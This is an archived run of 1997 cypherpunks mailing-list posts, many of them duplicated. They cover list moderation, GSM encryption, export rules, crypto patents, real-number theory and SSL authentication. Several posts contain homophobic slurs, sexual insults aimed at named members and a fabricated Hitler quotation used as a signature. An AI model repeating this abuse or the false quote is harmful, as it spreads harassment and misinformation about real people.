Date: Mon, 20 Jan 1997 05:40:05 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <3.0.32.19970119160951.006c26ac@ricochet.net>
Message-ID: <Pine.LNX.3.95.970120142318.307A-100000@alien.ddorf.rhein-ruhr.de>
MIME-Version: 1.0
Content-Type: text/plain


Just one thing about the names of the different lists:
I received a mail listing the changes to come.
It was very easy to understand that I am going to get the moderated list
if I do not change my subscription.I'll find out if I will miss something.
We'll see.
I wonder who is so brainless, not to understand what's going on.
Do you really think the subscribers are pure Idiots?

Heinz-Juergen Keller
email: hjk@ddorf.rhein-ruhr.de







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Mon, 20 Jan 1997 08:25:44 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701201625.IAA12728@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just one thing about the names of the different lists:
I received a mail listing the changes to come.
It was very easy to understand that I am going to get the moderated list
if I do not change my subscription.I'll find out if I will miss something.
We'll see.
I wonder who is so brainless, not to understand what's going on.
Do you really think the subscribers are pure Idiots?

Heinz-Juergen Keller
email: hjk@ddorf.rhein-ruhr.de








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 20 Jan 1997 12:45:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [FLAME] [PURE VITROL] Re: IMDMP: SOURCE...
In-Reply-To: <9701201925.AA09698@uu.psi.com>
Message-ID: <FqHu1D77w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach <roach_s@alph.swosu.edu> writes:

> At 10:05 PM 1/18/97 EST, Dr.Dimitri Vulis wrote:
> >> Non sequitor.
> >            ^
> >Do "cypher punks" use lousy spelling as a kind of "poor fag's crypto"?
>
> I'm a heterosexual, so I may be off the mark here, but.  Reguarding my
> history books, Mr. Hoover (can't remember his first name), of F.B.I. fame, a
> reported homosexual, was one of the biggest gaybashers of his era.  By your
> acidic comments, are you trying to tell us something?

Homosexual activists have accused many prominent people, like Hoover
and da Vinci, of sharing their sexual perversions.  I have seen no
evidence that Hoover was a pervert other than a claim by one woman,
a proven liar, that she was present at an orgy where Hoover wore a
woman's dress and engaged in sex with men. Several other people who
she claimed were present at the orgy called her a liar. She's dead,
or she would have probably been supporting Geekmore and EFF today.

You may recall that the moderator cocksucker Sandfart invited me to
a "cypher punks" meating in San Francisco, and if I had accepted, would
have told many lies about my participation in their homosexual orgies.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 20 Jan 1997 14:47:43 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <v02140b02af0973d64630@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Steve Shear <azur@netcom.com> writes:
>> [very useful explanation of GSM TDMA, and the new HSCSD]
>
>64 kbit/s tied to ISDN is very nice technology.
>
>> ENCRYPTED GSM LINKS
>> If the GSM phone includes a data port, as some already do, just connect
>> your laptop, dial your ISP and 'push' the encrypted traffic over that link
>> (e.g., using TCP/IP and PGPfone).
>
>This would obviously be possible, but to my mind reduces the appeal of
>the system.  Not every one has a laptop.
[snip]

Retrofitting the stonger encryption (e.g., IDEA) to some existing GSM
phones may be practical (as I've discussed in previous postings), but
unless the service providers support the stonger crypto (seems very
unlikely at the moment)parties at the other end of the line will need an
Eric Blossom-like device or a laptop running PGPfone.  I can see no way
around this.

>
>Also, the cell phone tarriffs may be higher if you need higher
>bandwidth to get the software only voice codec implementations in
>PGPfone to produce equivalent full-duplex voice quality to that
>expected from a digital mobile phone.

I may be wrong, but the faster laptops are already able to support the GSM
codes and rates in PGPfone (or could).  However, most of the service
providers may only be offering 9.6kb/s GSM data links at this time, and
this would surely impact voice quality.  If or when 28.8kb/s data is common
via GSM voice links via PGPfone should be better than the default GSM coded
voice.

--Steve


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet, electronic currency and wireless development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 20 Jan 1997 15:26:57 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <199701202326.PAB23017@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Steve Shear <azur@netcom.com> writes:
>> [very useful explanation of GSM TDMA, and the new HSCSD]
>
>64 kbit/s tied to ISDN is very nice technology.
>
>> ENCRYPTED GSM LINKS
>> If the GSM phone includes a data port, as some already do, just connect
>> your laptop, dial your ISP and 'push' the encrypted traffic over that link
>> (e.g., using TCP/IP and PGPfone).
>
>This would obviously be possible, but to my mind reduces the appeal of
>the system.  Not every one has a laptop.
[snip]

Retrofitting the stonger encryption (e.g., IDEA) to some existing GSM
phones may be practical (as I've discussed in previous postings), but
unless the service providers support the stonger crypto (seems very
unlikely at the moment)parties at the other end of the line will need an
Eric Blossom-like device or a laptop running PGPfone.  I can see no way
around this.

>
>Also, the cell phone tarriffs may be higher if you need higher
>bandwidth to get the software only voice codec implementations in
>PGPfone to produce equivalent full-duplex voice quality to that
>expected from a digital mobile phone.

I may be wrong, but the faster laptops are already able to support the GSM
codes and rates in PGPfone (or could).  However, most of the service
providers may only be offering 9.6kb/s GSM data links at this time, and
this would surely impact voice quality.  If or when 28.8kb/s data is common
via GSM voice links via PGPfone should be better than the default GSM coded
voice.

--Steve


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet, electronic currency and wireless development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 20 Jan 1997 13:58:50 -0800 (PST)
To: cypherpunks-outgoing-ksiuw@toad.com
Subject: Re: Slow Cypherpunk Day
In-Reply-To: <199701201704.JAA04094@netcom21.netcom.com>
Message-ID: <v0300780aaf097d476225@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:04 pm -0500 1/20/97, Mike Duvos wrote:
>Is cypherpunks-outgoing-ksiuw@toad.com where articles should be sent
>to bypass the censors?

Only until they figure out to set it to receive mail from Sandy only.
(Don't forget to use the "Received" headers to avoid spoofing, Mr. G.)

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Sun, 19 Jan 1997 18:12:17 -0800 (PST)
To: tozser@stolaf.edu
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
In-Reply-To: <199701191820.MAA24006@nic.stolaf.edu>
Message-ID: <199701200208.PAA21232@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997 12:20:45 -0600, Sir Robin of Locksley wrote:

    >Is it possible to prove that number 0.1234567891011121314151617181920...
    >iz irrational? 

   Most definately. All you need to do is prove that the set of this number is
   uncountable, ergo is irrational. If you have friend who have done math in real
   analysis they can explain more.

This makes no sense at all.  Presumably "the set of this number" means
the cardinality of the set {1, 2, 3, ...} which is quite obviously
countable!  The definition of countable is that it can be put in one
to one correspondence with exactly this set!

The number is, nevertheless, irrational.  A rational number is one
that can be written as a ratio of two integers (and infinity is _not_
an integer...or any kind of number, for that matter.  Else there would
be no irrational numbers).  Any rational number will end with a
repeating series of digits (which may be 0s, of course).  This number
clearly has no such repeating sequence.

    >Is it REALLY true that there are real numbers that cannot be generated
    >by any algorithm? Some guy said that since the set of algorithms is
    >countable, but the set of real numbers is more than countable, there 
    >must be some numbers for which there is no algorithms that generate them.

   If you show me an algorythm that calculates the real number TT (=3.14.....)
   I'll give you a Nobel Prize personally!

Some things are too easy.  How about pi = 4(1 - 1/3 + 1/5 - 1/7 + ...)
Evaluate.

The prize should probably go to Liebniz, though...

To answer the original question, yes, there are numbers (the vast
majority of numbers, in fact) which cannot be calculated by an
algorithm.  The computable numbers (those which can be generated
algorithmically) are countable (because a universal Turing machine can
emulate any other Turing machine given the appropriate input
(program), you can give each possible algorithm a number corresponding
to the program that implements it.  Such numbers are integers, hence
countable, so the number of algorithms is countable.  Since the real
numbers are not countable, it's obvious that there are real numbers
which are not computable.)

    >But I still do not believe him.
    >
    >Also, is it true that the sequence of digits in e is random because the ONLY
   way to get to the
    >p'th digit is to calculate the p-1'st digits?
    >
   Exactly! This is called recursive definition. To get the p-th set in the
   sequence you need to find p-1 first...

The sequence of digits in e is not random!  You mean the distribution
of digits looks random (is it?).  e is certainly computable, which
implies there is an algorithm that generates successive digits of e
given inputs of 0, 1, 2, 3, ...  I have no idea whether every such
algorithm must generate all preceding digits in doing so.

   >Also, is it the correct definition of a real number: 
    >
    >``A real number is the class of numbers which can represent the length of
    >an arbitrary line.''

   Well, that is not entirely true... The length of any arbitrary line can be any
   number, rational, natural, etc. Real numbers are the numbers that defy all
   other categorization (they are not rational, irrational, natural, etc.) They
   are complex and despite any instinctual perception, there are a lot of them!

No, the original definition is perfectly good.  Natural numbers are
rational, and rational numbers are real numbers.  Irrational numbers
are also real numbers.  The last sentence is correct, though -- real
numbers are complex numbers (although that's not what you meant, I
think) and there are a lot of them (an infinite number, of course, but
a "bigger" infinity than the countable sets of naturals or rationals).

   -----BEGIN PGP SIGNATURE-----
   Version: 4.5

What's version 4.5?

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
November, n.:
	The eleventh twelfth of a weariness.
		-- Ambrose Bierce, "The Devil's Dictionary"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Mon, 20 Jan 1997 12:13:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: ElGamal
Message-ID: <199701202010.PAA26311@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. Mayonnaise is the living proof that anal sex causes pregnancy.

            o
        /\O/        O Timothy C. Mayonnaise
       0  \\    | 0-#
          //    |  / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 12:16:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Technical data" exemptions in new crypto regs
Message-ID: <v0300780caf09815babd2@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


[Can anyone who knows more than I do answer this? --Declan]

---

Date: Mon, 20 Jan 1997 14:45:44 -0500 (EST)
To: declan@well.com (Declan McCullagh)
From: Solveig Bernstein <sberns@cato.org>

What have the new crypto regs done to the "technical data" and the "public
domain" exemptions from ITAR?

The problem is this:  as I understand it, the Commerce Dept. regs exempt
teaching and print presentations generally, but these exemptions do not
apply to "encryption software."

Does this mean that the exemptions do not apply to *teaching about*
encryption software or *publications about* encryption software?  Or *only*
that the exemptions do not apply to diskette-contained source code or object
code.

In other words, the new regs might completely decontrol teaching and
publication of something like Professor Bernstein's Snuffle.

On the other hand, the new regs might, like ITAR, restrict teaching and
publication of Snuffle (as well as publication of source code in diskette
format).

The purpose of the question is to understand whether a First Amendment
challenge to the new regs is a First Amendment challenge to a restriction on
*teaching, publication, and program distribution* or just a challenge to a
restriction on *program distribution.*


Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001


-------------------------
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 13:46:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Technical data" exemptions in new crypto regs
Message-ID: <199701202146.NAA19272@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Can anyone who knows more than I do answer this? --Declan]

---

Date: Mon, 20 Jan 1997 14:45:44 -0500 (EST)
To: declan@well.com (Declan McCullagh)
From: Solveig Bernstein <sberns@cato.org>

What have the new crypto regs done to the "technical data" and the "public
domain" exemptions from ITAR?

The problem is this:  as I understand it, the Commerce Dept. regs exempt
teaching and print presentations generally, but these exemptions do not
apply to "encryption software."

Does this mean that the exemptions do not apply to *teaching about*
encryption software or *publications about* encryption software?  Or *only*
that the exemptions do not apply to diskette-contained source code or object
code.

In other words, the new regs might completely decontrol teaching and
publication of something like Professor Bernstein's Snuffle.

On the other hand, the new regs might, like ITAR, restrict teaching and
publication of Snuffle (as well as publication of source code in diskette
format).

The purpose of the question is to understand whether a First Amendment
challenge to the new regs is a First Amendment challenge to a restriction on
*teaching, publication, and program distribution* or just a challenge to a
restriction on *program distribution.*


Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001


-------------------------
The Netly News Network
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Mon, 20 Jan 1997 13:36:00 -0800 (PST)
To: Tim Dierks <timd@consensus.com>
Subject: Re: Question on Diffie-Hellman patent
In-Reply-To: <199701201913.LAA15649@toad.com>
Message-ID: <9701202135.AA00489@ch1d157nwk>
MIME-Version: 1.0
Content-Type: text/plain


Tim Dierks writes:
> Here's a summary of some relevant crypto patents:
>
> Name             Number     Filed          Issued          Expires
>
> Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000

So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
celebrating?  :-)


andrew




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Mon, 20 Jan 1997 13:56:01 -0800 (PST)
To: Tim Dierks <timd@consensus.com>
Subject: Re: Question on Diffie-Hellman patent
Message-ID: <199701202156.NAA19594@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Dierks writes:
> Here's a summary of some relevant crypto patents:
>
> Name             Number     Filed          Issued          Expires
>
> Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000

So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
celebrating?  :-)


andrew





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 15:19:36 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Dedikend Cut's and such (fwd)
In-Reply-To: <199701201626.IAA12828@toad.com>
Message-ID: <199701210021.QAA15476@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > > Did a little research, Dedekind Cut's and such use Integers to define a
> > > SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> > > set of Reals.
> > 
> > They do.  The set of all numbers representable by a DC is precisely 
> > the set of reals.
> 
> Then you are saying that using Dedekind Cut's it is possible to define the
> ENTIRE set of Reals? I am assuming that entire includes all those Reals
> which aren't representable by any algorithm and of which we can't even speak
> (even though we are).
> 
> Another pretty nifty trick.

Yep.  "Define" is not the same as "generate".  Algorithms "generate".

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 16:40:39 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Dedikend Cut's and such (fwd)
Message-ID: <199701210040.QAA24718@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > > Did a little research, Dedekind Cut's and such use Integers to define a
> > > SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> > > set of Reals.
> > 
> > They do.  The set of all numbers representable by a DC is precisely 
> > the set of reals.
> 
> Then you are saying that using Dedekind Cut's it is possible to define the
> ENTIRE set of Reals? I am assuming that entire includes all those Reals
> which aren't representable by any algorithm and of which we can't even speak
> (even though we are).
> 
> Another pretty nifty trick.

Yep.  "Define" is not the same as "generate".  Algorithms "generate".

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc <marc@deepsea.sys.web-uk.net>
Date: Mon, 20 Jan 1997 08:23:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: how to get off this list
Message-ID: <Pine.LNX.3.93.970120162051.22887A-100000@deepsea.sys.web-uk.net>
MIME-Version: 1.0
Content-Type: text/plain


How on earth an i meant to get off this mailing list???
have tried loadz of the un  scribe says its undone it but it bloody hasnt
someone help me





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 20 Jan 1997 14:34:55 -0800 (PST)
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Slow Cypherpunk Day
In-Reply-To: <199701201704.JAA04094@netcom21.netcom.com>
Message-ID: <199701202231.QAA01840@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mike Duvos wrote:
> 
> Is cypherpunks-outgoing-ksiuw@toad.com where articles should be sent
> to bypass the censors?
> 
>    Testing 1 2 3...
> 
>    Cocksucker Armenian Mayonaise Gilmore Faggot Crypto
> 
>    Testing 1 2 3...
> 
> We now return you to your regular programming...
> 

It appears that they suffer fro the same problem as Prof. Alex Kaplan
once suffered from, when he thought that sending a message to 
inforuss-outgoing was enough to protect himself from forgeries. 

And mind you, Kaplan was a professor.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 20 Jan 1997 13:36:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Monitoring the monitors
In-Reply-To: <199701201611.IAA12370@toad.com>
Message-ID: <Pine.LNX.3.95.970120163621.1567B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 19 Jan 1997, Ross Wright wrote:

> On or About 19 Jan 97 at 17:37, Dale Thorn wrote:
> 
> > Somebody correct me if I'm wrong.  We already get the censored stuff
> > on the alleged-to-be "unedited" list, so by looking at the censored
> > list only, we can do the subtraction more reliably than Sandfort.
> > 
> > Just the censored list is needed, not the cut-out stuff, as far as I
> > know.
> 
> I disagree.  Or I don't quite understand what you are saying.  I
> want to see the moderated list and I want to see what was removed.

You can see what was removed by comparing the unedited and moderated lists.
Allow a certain lagtime (24 hours, perhaps) for moderated messages to arrive
and run a diff on the two folders.  This will give you the rejected material.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMuPmMizIPc7jvyFpAQGQqwf/f8TGLE4RC0n7Xr2Ut35MtqE4B5pwDbpp
tcGAjKAprzTRA/H5TIUTbV2/ZYvP60kFx/ZFoKvDNqaYb9lyU+XrYRCBAPyaxGND
19ZMHJ6qsqOjCxHHj2wP04Dpvv8BQ1rASibImYwAG4YFA65NRqeNdtjGNCKPWZtm
bmMC03aUl/1dhhU1uSMw+Ps9okmW7tfBuuXW6q7tchNQ3kH8blYbZr1eyWSAHH+J
uCdc4oV5eVgfvlKLLt0iU6DNoJUFitYtCRcFsIHH64B4VijFLigw0bUH0z1DOqsW
n7Mlp3IUaVcHnOuyKLg362455n7UygVPmAIpFewlI5mX7/6VaNgjCg==
=GAUL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 14:42:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Server Authentication
Message-ID: <199701202249.QAA03591@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

 Forwarded message:
 
> Date: Mon, 20 Jan 1997 09:26:05 -0800 (PST)
> From: Eric Murray <ericm@lne.com>
> Subject: Re: Server Authentication
> 
> I think that you can get access to the server's certificate.
> I know you can from the CGI interface.  Unfortunately it's the
> raw ASN.1 encoded certificate, so you would have to ASN.1 decode it.
> Bleah.
> 
> If the SSL handshake completes, then you can assume that the client
> has verified and authenticated the server certificate.   The only problem
> would be that the authentication might not be up to the plugin's standards-
> i.e.  a connection to www.foo.com is somehow intercepted by
> www.ripoff-plugins.com.  The server www.ripoff-plugins.com presents a cert
> who's name is www.foo.com.  The browser correctly presents a pop-up dialog
> noting the discrepancy, and the luser operating the client clicks
> on the 'OK' button, allowing the SSL handshake to finish.  Oops.
 
Isn't LDAP v3 supposed to answer some of these questions related to server
authentication as well anonymity of the users site (if desired)?
 
                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com
 
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 15:26:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Server Authentication
Message-ID: <199701202326.PAA23000@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

 Forwarded message:
 
> Date: Mon, 20 Jan 1997 09:26:05 -0800 (PST)
> From: Eric Murray <ericm@lne.com>
> Subject: Re: Server Authentication
> 
> I think that you can get access to the server's certificate.
> I know you can from the CGI interface.  Unfortunately it's the
> raw ASN.1 encoded certificate, so you would have to ASN.1 decode it.
> Bleah.
> 
> If the SSL handshake completes, then you can assume that the client
> has verified and authenticated the server certificate.   The only problem
> would be that the authentication might not be up to the plugin's standards-
> i.e.  a connection to www.foo.com is somehow intercepted by
> www.ripoff-plugins.com.  The server www.ripoff-plugins.com presents a cert
> who's name is www.foo.com.  The browser correctly presents a pop-up dialog
> noting the discrepancy, and the luser operating the client clicks
> on the 'OK' button, allowing the SSL handshake to finish.  Oops.
 
Isn't LDAP v3 supposed to answer some of these questions related to server
authentication as well anonymity of the users site (if desired)?
 
                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com
 
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:09:59 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: GSM technology
In-Reply-To: <3.0.32.19970120132632.006e91cc@192.100.81.126>
Message-ID: <32E41718.72A4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> 
> At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
> >       Does anyone use ADSL lines?  or are they still very expensive?
> 
> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.

  SaskTel also offers this type of access, at around the same price.
  As long as they had a monopoly on the citizens of the province,
they gouged people in the boondocks $ 6.00/hr for basic access to
the InterNet.
  Now that they have competition, and need to have competitive rates to
stay in business, they are acting like they are the consumer's best
friend, instead of rip-off shitheads.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:56:00 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: GSM technology
Message-ID: <199701210056.QAA24923@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> 
> At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
> >       Does anyone use ADSL lines?  or are they still very expensive?
> 
> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.

  SaskTel also offers this type of access, at around the same price.
  As long as they had a monopoly on the citizens of the province,
they gouged people in the boondocks $ 6.00/hr for basic access to
the InterNet.
  Now that they have competition, and need to have competitive rates to
stay in business, they are acting like they are the consumer's best
friend, instead of rip-off shitheads.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:09:46 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <32E41C4C.7CDE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

> Note that since I lost multiple messages due to one failure, tests of the
> form, "Once is happenstance, twice coincidence, three or more is
> conspiracy" might say, "conspiracy" even for just one failure.  The chances
> of this test criteria error increase for frequent posters.

  It sounds like you're laying the groundwork for debunking CypherPunk
conspiracy myths before they even appear.
  Not that I'm the paranoid type (but I 'would' be interested in knowing
exacly where you 'claim' you were when J.F.K. was shot).

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:55:48 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Sandy and the Doc
Message-ID: <199701210055.QAA24904@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

> Note that since I lost multiple messages due to one failure, tests of the
> form, "Once is happenstance, twice coincidence, three or more is
> conspiracy" might say, "conspiracy" even for just one failure.  The chances
> of this test criteria error increase for frequent posters.

  It sounds like you're laying the groundwork for debunking CypherPunk
conspiracy myths before they even appear.
  Not that I'm the paranoid type (but I 'would' be interested in knowing
exacly where you 'claim' you were when J.F.K. was shot).

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:11:41 -0800 (PST)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: Re: Take it to sci.math
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970120173941Z-48898@INET-01-IMC.microsoft.com>
Message-ID: <32E41D5E.4C62@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:

> And as everyone on this list acutely knows, neither math, science, nor
> politics has anything to do with crypto.

  I agree. Let's stick to discussions of crack-crypto Ebonics,
and child-crypto PigLatin.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:55:35 -0800 (PST)
To: Blanc Weber <blancw@microsoft.com>
Subject: Re: Take it to sci.math
Message-ID: <199701210055.QAA24887@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:

> And as everyone on this list acutely knows, neither math, science, nor
> politics has anything to do with crypto.

  I agree. Let's stick to discussions of crack-crypto Ebonics,
and child-crypto PigLatin.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:10:08 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: UNS_top
In-Reply-To: <1.5.4.32.19970120152824.0068df5c@pop.pipeline.com>
Message-ID: <32E41F0C.342C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
>  Governments in China, Burma and
>  Singapore have already tried to discipline this on-line activity with
>  minimal success.

  Do you have any pointers to information in regard to this, or are you
